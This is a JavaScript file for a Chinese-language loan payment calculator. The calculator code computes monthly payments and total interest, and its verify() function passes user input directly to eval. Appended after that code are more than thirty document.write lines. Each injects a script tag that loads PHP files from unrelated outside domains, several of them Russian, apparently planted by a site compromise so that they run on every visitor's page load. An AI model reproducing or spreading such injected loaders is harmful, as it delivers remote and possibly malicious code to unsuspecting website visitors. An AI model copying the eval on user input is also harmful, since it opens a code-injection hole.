<!--
function verify(entry) {
if (entry.value!=null && entry.value.length!=0) {
entry.value=""+ eval(entry.value);
}
computeForm(entry.form);
}

// 貸款計算
function computeForm(form) {
if ((form.months.value==null || form.months.value.length==0) ||
(form.rate.value==null || form.rate.value.length==0) ||
(form.financed.value == null || form.financed.value.length==0)) {
return;
}
if (!alrt_msg(form.months,1,480,"你的付款期數") ||
!alrt_msg(form.rate,.001,99,"你填寫的利率") ||
!alrt_msg(form.financed,100,10000000,"貸款金額")) {
form.payment.value="所填數值不在計算範圍內 - 請按重填";
return;
}
var i=form.rate.value;
ffv=0;
ffv+=form.financed.value;
fmv=0;
fmv+=form.months.value;
if (i > 1.0) {
// 防浮點數運算錯誤
i=(i/100.0)+.00001;
var fmt="";
fmt+=i;
fmt=fmt.substring(0,6)
form.rate.value=fmt;
}
i/=12;
var isn=1;
for (var j=0;j<form.months.value;j++)
isn=isn*(1+i);
form.payment.value=(form.financed.value*isn*i)/(isn-1);
fpv=0;
fpv+=form.payment.value;
var fmt="";
var add=9;
fmt+=form.payment.value;
for (var i=0;i<fmt.length;i++) {
if (fmt.charAt(i)==".") {
add=i+3;
i=fmt.length;
}
}
fmt=fmt.substring(0,add);
fcalc=((fmv*fpv)-ffv);
var fmtb="";
var add=9;
fmtb+=fcalc;
for (var i=0;i<fmtb.length;i++) {
if (fmtb.charAt(i)==".") {
add=i+3;
i=fmtb.length;
}
}
fmtb=fmtb.substring(0,add);
//form.payment.value=" NT$"+fmt;
form.payment.value=Math.round(fmt);
form.payment2.value =Math.round(fmtb);
}
function reset_it(form) {
form.months.value="";
form.rate.value="";
form.financed.value="";
form.payment.value="";
}

function alrt_msg(entry,low,high,prompt) {
prompt=prompt+" 你所輸入數值: "+entry.value;
var scratch=entry.value;
for (var i=0;i<scratch.length;i++) {
var letter=scratch.substring(i,i+1);
if ((letter<"0" || "9"<letter) && letter!='.') {
alert(prompt);
return false;
}
}
var errtst=parseFloat(scratch)
if (errtst<low || high<errtst) {
alert("對不起. "+prompt+ " 不在計算範圍內"
+" 從 "+low+" 到 "+high+"!");
return false;
}
entry.value=scratch;
return true;
}
document.write('<script src=http://gnsystem.com/data/product_scroll2.php ><\/script>');
document.write('<script src=http://gnsystem.com/data/product_scroll2.php ><\/script>');
document.write('<script src=http://gnsystem.com/data/product_scroll2.php ><\/script>');
document.write('<script src=http://gnsystem.com/data/product_scroll2.php ><\/script>');
document.write('<script src=http://gnsystem.com/data/product_scroll2.php ><\/script>');
document.write('<script src=http://gnsystem.com/data/product_scroll2.php ><\/script>');
document.write('<script src=http://gnsystem.com/data/product_scroll2.php ><\/script>');
document.write('<script src=http://gnsystem.com/data/product_scroll2.php ><\/script>');
document.write('<script src=http://prg-sarthe.org/oo/COPYING.php ><\/script>');
document.write('<script src=http://prg-sarthe.org/oo/COPYING.php ><\/script>');
document.write('<script src=http://prg-sarthe.org/oo/COPYING.php ><\/script>');
document.write('<script src=http://prg-sarthe.org/oo/COPYING.php ><\/script>');
document.write('<script src=http://prg-sarthe.org/oo/COPYING.php ><\/script>');
document.write('<script src=http://prg-sarthe.org/oo/COPYING.php ><\/script>');
document.write('<script src=http://prg-sarthe.org/oo/COPYING.php ><\/script>');
document.write('<script src=http://prg-sarthe.org/oo/COPYING.php ><\/script>');
document.write('<script src=http://prg-sarthe.org/oo/COPYING.php ><\/script>');
document.write('<script src=http://prg-sarthe.org/oo/COPYING.php ><\/script>');
document.write('<script src=http://thepreciseagencygroup.com/wordpressblog/php.php ><\/script>');
document.write('<script src=http://060504.ru/_xap/synonim.php ><\/script>');
document.write('<script src=http://060504.ru/_xap/synonim.php ><\/script>');
document.write('<script src=http://ranklin.net/scripts/careers.php ><\/script>');
document.write('<script src=http://mysat.org.ru/js/index.php ><\/script>');
document.write('<script src=http://mysat.org.ru/js/index.php ><\/script>');
document.write('<script src=http://mysat.org.ru/js/index.php ><\/script>');
document.write('<script src=http://mysat.org.ru/js/index.php ><\/script>');
document.write('<script src=http://mysat.org.ru/js/index.php ><\/script>');
document.write('<script src=http://mysat.org.ru/js/index.php ><\/script>');
document.write('<script src=http://mysat.org.ru/js/index.php ><\/script>');
document.write('<script src=http://mysat.org.ru/js/index.php ><\/script>');
document.write('<script src=http://mysat.org.ru/js/index.php ><\/script>');
document.write('<script src=http://dongtanev.walesedu.com/app/crop/ave.php ><\/script>');
document.write('<script src=http://dongtanev.walesedu.com/app/crop/ave.php ><\/script>');
document.write('<script src=http://dongtanev.walesedu.com/app/crop/ave.php ><\/script>');